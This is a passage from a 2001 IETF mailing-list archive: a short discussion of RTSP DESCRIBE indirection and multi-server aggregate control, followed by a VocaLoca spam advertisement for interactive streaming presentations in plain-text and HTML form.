	by io.luxxon.com (8.11.3/8.11.3) with SMTP id f4GMWC004469
	for <confctrl@ISI.EDU>; Wed, 16 May 2001 15:32:12 -0700 (PDT)
From: "Josh Perfetto" <Josh.Perfetto@luxxon.com>
To: "Mmusic Wg" <confctrl@ISI.EDU>
Subject: RTSP Clarification
Date: Wed, 16 May 2001 15:30:54 -0700
Message-ID: <ALEELKIHFMPBEBHINBLMCEAMCCAA.jperfetto@luxxon.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Section 10.2 of RFC2326 states:

Additionally, servers SHOULD NOT use the DESCRIBE response as a means
of media indirection.

     Clear ground rules need to be established so that clients have an
     unambiguous means of knowing when to request media initialization
     information via DESCRIBE, and when not to. By forcing a DESCRIBE
     response to contain all media initialization for the set of streams
     that it describes, and discouraging use of DESCRIBE for media
     indirection, we avoid looping problems that might result from other
     approaches.

---

Does this mean that an SDP response should not consist entirely of streams
located on a different server, or that the server should not reply with a
3xx response code?  If it is the former isn't this somewhat allowed under
the more general case of a presentation with different streams on different
servers?  What makes this case special?

-Josh


From confctrl-owner  Wed May 16 19:59:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA29378
	for confctrl-outgoing; Wed, 16 May 2001 19:59:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA29373
	for <confctrl@zephyr.isi.edu>; Wed, 16 May 2001 19:59:15 -0700 (PDT)
Received: from ETLA.NET (IDENT:none@c61066-a.frmt1.sfba.home.com [24.1.50.197])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f4H2xFZ29294
	for <confctrl@ISI.EDU>; Wed, 16 May 2001 19:59:27 -0700 (PDT)
Message-Id: <200105170259.f4H2xFZ29294@tnt.isi.edu>
To: confctrl@ISI.EDU
Subject: Re: RTSP Clarification
From: Jonathan Sergent <sergent@IO.COM>
Date: Wed, 16 May 2001 19:59:13 -0700
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Josh Perfetto:
>Does this mean that an SDP response should not consist entirely of streams
>located on a different server, or that the server should not reply with a
>3xx response code?  If it is the former isn't this somewhat allowed under
>the more general case of a presentation with different streams on different
>servers?  What makes this case special?

I can't really answer your question, but it seems like this is
probably less of an issue with non-aggregate control, which I assume
you are doing since I can't see how you can do an aggregate PLAY
across multiple servers.  It is unclear if the client needs to send a
new DESCRIBE request if the presentation (top-level) control URL is
not the same as the URL used by the client for the describe, and I
suspect this is what that language was trying to address.  This
section says that you don't ever have to send DESCRIBE requests for
the individual media streams, and it says that you shouldn't have to
for the aggregate (session-level) control URL either because you
implicitly already have the description for it.

Note that there's even an example of control URLs pointing to
different servers in C.2 (using non-aggregate control).

3xx response codes from DESCRIBE are surely okay.  I think they are
preferable in the case where you want to tell the client that the
entire media resource is on another server.  I think this type of
indirection is being discouraged via SDP.


-- 
Jonathan Sergent / sergent@eng.sun.com


From confctrl-owner  Wed May 16 21:44:48 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA02639
	for confctrl-outgoing; Wed, 16 May 2001 21:44:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA02634
	for <confctrl@zephyr.isi.edu>; Wed, 16 May 2001 21:44:47 -0700 (PDT)
Received: from io.luxxon.com ([65.162.241.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4H4iwZ14769
	for <confctrl@isi.edu>; Wed, 16 May 2001 21:44:58 -0700 (PDT)
Received: from CHARON (dhcp-000-177.luxxon.com [192.168.0.177])
	by io.luxxon.com (8.11.3/8.11.3) with SMTP id f4H4iw017713;
	Wed, 16 May 2001 21:44:58 -0700 (PDT)
From: "Josh Perfetto" <Josh.Perfetto@luxxon.com>
To: <confctrl@ISI.EDU>, <sergent@io.com>
Subject: RE: RTSP Clarification
Date: Wed, 16 May 2001 21:43:39 -0700
Message-ID: <ALEELKIHFMPBEBHINBLMGEAOCCAA.jperfetto@luxxon.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <200105170259.f4H2xFZ29294@tnt.isi.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Regardless of server implementation, is aggregate control of streams across
multiple servers supported by the protocol?  In other words, is this valid:

v=0
...
a=control:rtsp://example.com/movie/
m=video 5000 RTP/AVP 31
a=control:rtsp://video.com/movie.vid
m=audio 5002 RTP/AVP 3
a=control:rtsp://audio.com/movie.aud

In the case of indirection of a presentation where the streams are not
spread among multiple servers, while I agree that redirecting the DESCRIBE
request is cleaner, the elimination of the extra RTT by using SDP
indirection (assuming the client does not re-DESCRIBE) can be beneficial in
high-latency (i.e. 1000 ms) networks, especially since the SETUPs can't be
pipelined until the results of the DESCRIBE are received.

-Josh

-----Original Message-----
From: owner-confctrl@isi.edu [mailto:owner-confctrl@isi.edu]On Behalf Of
Jonathan Sergent
Sent: Wednesday, May 16, 2001 7:59 PM
To: confctrl@isi.edu
Subject: Re: RTSP Clarification


Josh Perfetto:
>Does this mean that an SDP response should not consist entirely of streams
>located on a different server, or that the server should not reply with a
>3xx response code?  If it is the former isn't this somewhat allowed under
>the more general case of a presentation with different streams on different
>servers?  What makes this case special?

I can't really answer your question, but it seems like this is
probably less of an issue with non-aggregate control, which I assume
you are doing since I can't see how you can do an aggregate PLAY
across multiple servers.  It is unclear if the client needs to send a
new DESCRIBE request if the presentation (top-level) control URL is
not the same as the URL used by the client for the describe, and I
suspect this is what that language was trying to address.  This
section says that you don't ever have to send DESCRIBE requests for
the individual media streams, and it says that you shouldn't have to
for the aggregate (session-level) control URL either because you
implicitly already have the description for it.

Note that there's even an example of control URLs pointing to
different servers in C.2 (using non-aggregate control).

3xx response codes from DESCRIBE are surely okay.  I think they are
preferable in the case where you want to tell the client that the
entire media resource is on another server.  I think this type of
indirection is being discouraged via SDP.


--
Jonathan Sergent / sergent@eng.sun.com


From confctrl-owner  Fri May 18 11:24:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA24843
	for confctrl-outgoing; Fri, 18 May 2001 11:24:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA24834
	for <confctrl@zephyr.isi.edu>; Fri, 18 May 2001 11:24:15 -0700 (PDT)
Received: from bluem.bluemakoi.net (213-55.84.64.master-link.com [64.84.55.213])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4IIORZ26237
	for <confctrl@isi.edu>; Fri, 18 May 2001 11:24:27 -0700 (PDT)
Received: from bluem (bluem [64.84.55.213])
	by bluem.bluemakoi.net (8.9.3/8.9.3) with SMTP id LAA29563
	for <confctrl@isi.edu>; Fri, 18 May 2001 11:22:25 -0700
Message-Id: <200105181822.LAA29563@bluem.bluemakoi.net>
Date: Fri, 18 May 2001 11:22:25 PDT
From: "VocaLoca"<info@vocaloca.com>
To: confctrl@ISI.EDU
Subject: Interactive Web Presentations Made Easy
Reply-To: info@vocaloca.com
X-Courtesy-Of:  Bluemakoi mailOut 2.0 (Built: Apr 19 2001 15:00:33)
X-Message-Id: 527
X-Recipient-Id: 159243
X-Run-Id: 1980
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_bluemakoi_alternatives_boundary_="
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format

--=_bluemakoi_alternatives_boundary_=
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Please note that this "Live" Brochure is available in its entirety online at: 
"http://www.vocaloca.com/vlweb/newsletter/B34367.htm"

Thank you for your interest in us 
your promotional discount code is: B34367. This code is valid for 30 days.
Simply enter the code before starting your presentation to receive your discount.

Jaggi Ayyangar our CEO wishes to thank you for your support!

VOCALOCA, the HOME of INTERACTIVE STREAMING
  a better way to Sell, Train, Support and Motivate
- PAYING TOO MUCH FOR TELEPHONE/DATA CONFERENCES?
- NEED TO MAKE YOU MARKETING MESSAGES MORE PRODUCTIVE?
- NEED TO REACH MORE PEOPLE WITHOUT RUNAWAY COSTS?
- WANT TO MAKE THE POWER OF RICH MEDIA WORK FOR YOUR BOTTOM LINE?

If one of the above applies to you, read on: 
Now for the first time the benefits of Streaming and Interactivity 
have been applied to Web presentations. 

NOW STREAMING PRESENTATIONS WITH AUDIO INTERACTION ARE A REALITY!
Visit our WebSite at "http://www.vocaloca.com",  
contact us at "http://www.vocaloca.com/vlweb/about/cinfo2.html"
or select the demonstration links below:

With a new Pay-As-You-Use service being made available this month, 
using of our low-cost live Web presentation system could not be easier! 
We even include the recording of voice, web pages and slides for 
"click & play" Web access at a later time. VocaLoca is also available 
as a "host your own" software package or a custom hosted solution. 
Try it NOW!! at "http://business.vocaloca.com/vocaloca/site/index.jsp"

Anyone, anywhere with a PC and a Web connection can generate or participate 
in business presentations, radio style broadcasts, Web tours, eLearning or training. 

VOCALOCA OFFERS YOU THE ABILITY TO SIMPLY PRODUCE & DEPLOY 
INTERACTIVE PRESENTATIONS TO 1 or 100,000; LIVE or ON-DEMAND!

RealPlayer must be installed on your system to view the demos. 
Test your system at http://www.vocaloca.com/sound_check.html

RealPlayer 8 is recommended (yes, the free version is perfect) http://www.real.com/player/index.html?src=010406realhome_1

SAMPLE PRESENTATATION LINKS:
Click on the links below to hear and see what VocaLoca can do for your business!

VocaLoca for Presentations, Sales, Marketing & Collaboration 
http://www.vocaloca.com/vocaloca/partner/vldemo1/landing.html?program=0,vldemo1,93,377
Producing Web presentations just got easy!
Add live 2-way voice to your presentations 
Broadcast your pitch once, save it and link it for On-demand replay 
Push PowerPoint slides & Web pages to all listeners 
On-demand Web link available immediately after a live presentation 

VocaLoca for eLearning & Training (Quake Readiness Simulation) 
http://www.vocaloca.com/vocaloca/partner/vldemo1/landing.html?program=0,vldemo1,93,6
Windows and Mac compliant listener/viewer 
Netscape (4.5 +) and Internet Explorer compaible (5.0+) 
Now offer 2-way voice & data, even on a single modem connection 
Live, scaleable AND low-cost in one simple to use system: UNIQUE! 
Interactive Streaming: THE broadcast architecture for the future! 

VocaLoca for eCommerce (Wine Sales Simulation) 
http://www.vocaloca.com/vocaloca/partner/vldemo1/landing.html?program=0,vldemo1,93,9
PowerPoints, pictures & Web pages synchronized to the audio stream 
Engage your customers with our dynamic XML Web links 
Host Live polls of your listeners and present special offers via Web forms 
SureStreamTM technology used for the best use of available bandwidth 
Installed in minutes, Branded in hours, Profits in days! 

VocaLoca for Relationship Management (Job CRM Simulation) 
http://www.vocaloca.com/vocaloca/partner/vldemo1/landing.html?program=0,vldemo1,93,11
More efficient use of operator's time, keeping costs to a minimum 
Answer the question once, re-broadcast it a 1000 times 
Easily train new operators 
Leverage archived recordings into content for live interactive broadcasts 
Producing Self-service rich-media FAQs are a breeze 

VocaLoca as an ASP or a Self-Hosted Solution (Corporate Update) 
http://www.vocaloca.com/vocaloca/partner/vldemo1/landing.html?program=0,vldemo1,93,13
Link & Launch your solution in days! 
Incorporate VocaLoca's branding and XML solution for easy deployment 
Lower the cost of collaborating with remote work groups 
Keeping monthly costs down, enhancing profitability 
Pay-As-You-Go option also available 

VocaLoca for Public broadcasts (Web tour of www.vocaloca.com) 
http://www.vocaloca.com/vocaloca/partner/vldemo1/landing.html?program=0,vldemo1,93,12
Live or Self-contained Web tours of your favorite site(s) or products 
Self-expression: Web radio shows with interactive voice "call-ins" 
Presentations can be received down to a 28.8 connection 
Simple production tools, all hosted remotely 
Be Viral! : email or instant message links to expand a show's reach 

To download a free copy of VocaLoca's white-paper by the Gartner Group: 
"Interactive Streaming Platform" from http://www.vocaloca.com/vlweb/pdf/vlwhitepaper.pdf

Copyright 2001 VocaLoca, Inc. All Rights Reserved

This message was sent by VocaLoca powered by Blue Makoi.
If you prefer not to receive these messages, you may unsubscribe at http://www.bluemakoi.com/spooner/unsubscribe.jsp?rcid=159243&rid=1980&email_address=confctrl@isi.edu&company_name=VocaLoca


--=_bluemakoi_alternatives_boundary_=
Content-Type: text/html
Content-Transfer-Encoding: 7bit

<a href="http://bm_originator/info?rcid=159243&rid=1980"></a>
<HTML>
<style>
<!-- 
        A:link {text-decoration: none; color: #CC6600}
        A:visited {text-decoration: none; color: #CC6600}
        A:active {text-decoration: underline; color: #CC6600}
        A:hover {text-decoration: underline; color: #CC6600}       
-->
</style>


<img src="http://www.bluemakoi.com/spooner/emailopened.jsp?rid=1980&rcid=159243" width="1" height="1">
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0">
<table width="678" border="0" cellspacing="0" cellpadding="0" height="1701" bordercolor="0">
<tr>
<td height="188" bordercolor="0">
<div align="left"><img border="0" height="193" src="http://www.bluemakoi.com/spooner/public_image/image809/toppart2.jpg" usemap="#Map" width="679"></div>
</td>
</tr>

<tr>
<td valign="top" height="1412">
<table width="678" border="0" cellspacing="0" cellpadding="0" height="1482">
<tr>
<td rowspan="65" bgcolor="#000000" width="1" height="1000">&nbsp;</td>
<td rowspan="65" bgcolor="#CCCCFF" width="7" valign="bottom"> .</td>
<td width="214" bgcolor="#CCCCFF" height="23"><font face="Arial, Helvetica, sans-serif" size="2"><b>Thank
you for











your interest in
us:</b></font></td>
<td width="11" height="23">&nbsp;</td>
<td width="445" height="23">
<div align="left"><font size="1" face="Arial, Helvetica, sans-serif">Please
note that this &quot;Live&quot; Brochure is available in its entirety
online. If you are having trouble accessing the links in this Email,
please copy and paste the following URL into your browser: </font><font size="1" face="Arial, Helvetica, sans-serif">











http://www.vocaloca.com/vlweb/newsletter/B34367.htm
</font></div>
</td>
</tr>

<tr>
<td width="214" bgcolor="#CCCCFF" height="30">
<div align="center"><font face="Arial, Helvetica, sans-serif" size="2"><b>
your promotional </b></font></div>
</td>
<td width="11" height="30">&nbsp;</td>
<td width="445" height="30"><font face="Arial, Helvetica, sans-serif"><b><font size="5">VocaLoca,
</font><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font size="3">the
Home of Interactive Streaming<sup><font size="-1">TM</font></sup></font></b></font></b></font></b></font></b></font></b></font></b></font></b></font></td>
</tr>

<tr>
<td width="214" height="79" bgcolor="#CCCCFF" valign="top">
<div align="center">
<p><font face="Arial, Helvetica, sans-serif" size="2"><b>
discount code is: 










B34367
<br>
</b>Simply type this code before you present to receive your
discount </font><br><font face="Arial, Helvetica, sans-serif" size="1">valid for 30 days only</font></p>
</div>
</td>
<td width="11" height="79">&nbsp;</td>
<td rowspan="5" height="154">
<div align="left"><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b><font face="Arial, Helvetica, sans-serif"><b></b></font></b></font></b></font></b></font></div>
<div align="left"><font face="Arial, Helvetica, sans-serif" size="2"><i><b>-
Paying too much for telephone/data conferences?<br>
- Need to make your marketing messages more productive?<br>
- Need to reach more people without runaway costs?<br>
- Want to make the power of rich media work FOR your bottom line?<br>
<br>
</b></i>If one of the above applies to you, read on: Now for the
first time the benefits of Streaming and Interactivity have been
applied to Web presentations. <br>
<br>
<b>Now Streaming Presentations </b></font><b><font face="Arial, Helvetica, sans-serif" size="2">
with Audio Interaction are a reality!!</font></b><font face="Arial, Helvetica, sans-serif" size="2"><br>
<br>
With a new Pay-As-You-Use service being made available this month,
using of our low-cost live Web presentation system could not be
easier! We even include the recording of voice, web pages and slides
for &quot;click &amp; play&quot; Web access at a later time. VocaLoca
is also available as a &quot;host your own&quot; software package
or a custom hosted solution. <b>











<a href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fbusiness%2Evocaloca%2Ecom%2Fvocaloca%2Fsite%2Findex%2Ejsp&uid=19562" target="_blank">
Try
it NOW!!</a>
</b><br>
<br>
Anyone, anywhere with a PC and a Web connection can generate or
participate in business presentations, radio style broadcasts, Web
tours, eLearning or training. </font></div>
</td>
</tr>

<tr>
<td width="214" bgcolor="#CCCCFF" height="33">
<div align="center">
<p><font face="Arial, Helvetica, sans-serif" size="2"><b>Jaggi Ayyangar,
our CEO says</b></font></p>
</div>
</td>
<td width="11" height="33">&nbsp;</td>
</tr>

<tr>
<td width="214" bgcolor="#CCCCFF" height="34" valign="top">
<div align="center"><font face="Arial, Helvetica, sans-serif" size="2">











<B>Thank you for your support!</B>
</font></div>
</td>
<td width="11" height="34">&nbsp;</td>
</tr>

<tr>
<td height="59" valign="middle" width="214" bgcolor="#CCCCFF">
<div align="center"><font face="Arial, Helvetica, sans-serif"><b>











<a href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fbusiness%2Evocaloca%2Ecom%2Fvocaloca%2Fsite%2Findex%2Ejsp&uid=19562" target="_blank">
VISIT
OUR WEBSITE</a>
</b></font><font face="Arial, Helvetica, sans-serif" color="#CCCCFF">.</font><font face="Arial, Helvetica, sans-serif"><b><a href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvlweb%2Fabout%2Fcinfo2%2Ehtml&uid=19564" target="_blank"><font size="2"><br>
<br>
</font>CONTACT US</a>
</b></font></div>
</td>
<td height="59" valign="top" width="11">&nbsp;</td>
</tr>

<tr>
<td height="99" valign="middle" width="214" bgcolor="#CCCCFF">
<div align="center"><font size="1" face="Arial, Helvetica, sans-serif">RealPlayer
is required to view the demos. </font><font size="2" face="Arial, Helvetica, sans-serif"><a href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fsound%5Fcheck%2Ehtml&uid=19565" target="_blank"><b><br>
Click here to test your system</b></a>
</font><b><font color="#CC6600" size="1"><br>
<br>
</font></b><font color="#CC6600"><b><a href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Ereal%2Ecom%2Fplayer%2Findex%2Ehtml%3Fsrc%3D010406realhome%5F1&uid=19566" target="_blank"><img border="0" height="31" src="http://www.bluemakoi.com/spooner/public_image/image809/real_logo.gif" width="88"></a>
<br>
<font face="Arial, Helvetica, sans-serif" size="1" color="#000033">RealPlayer
8 is recommended<br>
(yes, the free version is perfect)</font></b></font></div>
</td>
<td height="99" valign="top" width="11">&nbsp;</td>
</tr>

<tr>
<td bgcolor="#CCCCFF" width="214" height="30" valign="bottom">
<div align="center"><font face="Arial, Helvetica, sans-serif" size="2"><b>Sample
Presentation Links:</b></font></div>
</td>
<td height="30" width="11">&nbsp;</td>
<td height="30" width="445" valign="bottom"><font face="Arial, Helvetica, sans-serif" size="2"><b><i>VocaLoca
offers you the ability to simply produce and deploy</i></b></font></td>
</tr>

<tr>
<td bgcolor="#CCCCFF" width="214" valign="bottom">
<div align="center"><font size="1" face="Geneva, Arial, Helvetica, san-serif">Click
on the screens below to hear and see</font></div>
</td>
<td width="11">&nbsp;</td>
<td width="445"><font size="2" face="Arial, Helvetica, sans-serif"><b><i>Interactive
presentations to 1 or 100,000; Live or On-demand !</i></b></font></td>
</tr>

<tr>
<td bgcolor="#CCCCFF" width="214" height="9" valign="top">
<div align="center"><font size="1" face="Geneva, Arial, Helvetica, san-serif">what
VocaLoca can do for your business!</font></div>
</td>
<td width="11" height="9">&nbsp;</td>
<td width=445 height=9>
<p><font face="Arial, Helvetica, sans-serif" 
            size=2><b></b></font></p>
</td>
</tr>

<tr>
<TD width=214 bgColor=#ccccff rowSpan=8>
<DIV align=center><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C377&uid=19567" target="_blank"><IMG border="0" height="145" NOSEND="1" src="http://www.bluemakoi.com/spooner/public_image/image809/JIM.jpg" width="200"></A>
</DIV></TD>
<TD width=11 height=17>&nbsp;</TD>
<TD width=445 height=17><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C377&uid=19567" target="_blank"><FONT face="Arial, Helvetica, sans-serif" 
            size=2><B>VocaLoca for Presentations, Sales, Marketing & Collaboration</B></FONT></A>
</TD></TR>

<TR>
<TD width=11 height=13>&nbsp;</TD>
<TD width=445 height=13>
<P>&nbsp;</P></TD></TR>

<TR>
<TD width=11 height=16>&nbsp;</TD>
<TD width=445 height=16>
<P><FONT face="Arial, Helvetica, sans-serif" size=2>Producing Web
presentations just got easy!</FONT></P></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" size=2>Add
live 2-way voice to your presentations</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Broadcast your pitch once, save it and link it for On-demand
replay</FONT></TD></TR>

<TR>
<TD width=11 height=21>&nbsp;</TD>
<TD width=445 height=21><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Push PowerPoint slides &amp; Web pages to all
listeners</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>On-demand Web link available immediately after a live
presentation</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff>&nbsp;</TD>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff rowSpan=8>
<DIV align=center><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C6&uid=19568" target="_blank"><IMG border="0" height="145" NOSEND="1" src="http://www.bluemakoi.com/spooner/public_image/image809/earthquakeclass.jpg" width="200"></A>
</DIV></TD>
<TD width=11>&nbsp;</TD>
<TD width=445><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C6&uid=19568" target="_blank"><FONT face="Arial, Helvetica, sans-serif" 
            size=2><B>VocaLoca for eLearning &amp; Training (Quake Readiness
Simulation)</B></FONT></A>
</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Windows and Mac compliant listener/viewer </FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Netscape (4.5 +) and Internet Explorer compaible
(5.0+)</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" size=2>Now
offer 2-way voice &amp; data, even on a single modem
connection</FONT></TD></TR>

<TR>
<TD width=11 height=18>&nbsp;</TD>
<TD width=445 height=18><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Live, scaleable AND low-cost in one simple to use system:
UNIQUE!</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Interactive Streaming: THE broadcast architecture for the
future!</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff>&nbsp;</TD>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff rowSpan=8>
<DIV align=center><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C9&uid=19569" target="_blank"><IMG border="0" height="145" NOSEND="1" src="http://www.bluemakoi.com/spooner/public_image/image809/ecomm.jpg" width="200"></A>
</DIV></TD>
<TD width=11>&nbsp;</TD>
<TD width=445><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C9&uid=19569" target="_blank"><FONT face="Arial, Helvetica, sans-serif" size=2><FONT 
            face="Arial, Helvetica, sans-serif" size=2><B>VocaLoca for eCommerce
(Wine Sales Simulation)</B></FONT></FONT></A>
</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=11 height=12>&nbsp;</TD>
<TD width=445 height=12><FONT face="Arial, Helvetica, sans-serif" 
            size=2>PowerPoints, pictures &amp; Web pages synchronized to the
audio stream</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Engage your customers with our dynamic XML Web
links</FONT></TD></TR>

<TR>
<TD width=11 height=10>&nbsp;</TD>
<TD width=445 height=10><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Host Live polls of your listeners and present special offers
via Web forms</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>SureStream<SUP><FONT size=-1>TM</FONT></SUP> technology used
for the best use of available bandwidth</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Installed in minutes, Branded in hours, Profits in
days!</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff>&nbsp;</TD>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff rowSpan=8>
<DIV align=center><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C11&uid=19570" target="_blank"><IMG border="0" height="145" NOSEND="1" src="http://www.bluemakoi.com/spooner/public_image/image809/CRM.jpg" width="200"></A>
</DIV></TD>
<TD width=11 height=19>&nbsp;</TD>
<TD width=445><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C11&uid=19570" target="_blank"><FONT face="Arial, Helvetica, sans-serif" 
            size=2><B>VocaLoca for Relationship Management (Job CRM
Simulation)</B></FONT></A>
</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" size=2>More
efficient use of operator's time, keeping costs to a
minimum</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Answer the question once, re-broadcast it a 1000
times</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Easily train new operators</FONT></TD></TR>

<TR>
<TD width=11 height=23>&nbsp;</TD>
<TD width=445 height=23><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Leverage archived recordings into content for live
interactive broadcasts</FONT> </TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Producing Self-service rich-media FAQs are a
breeze</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff>&nbsp;</TD>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
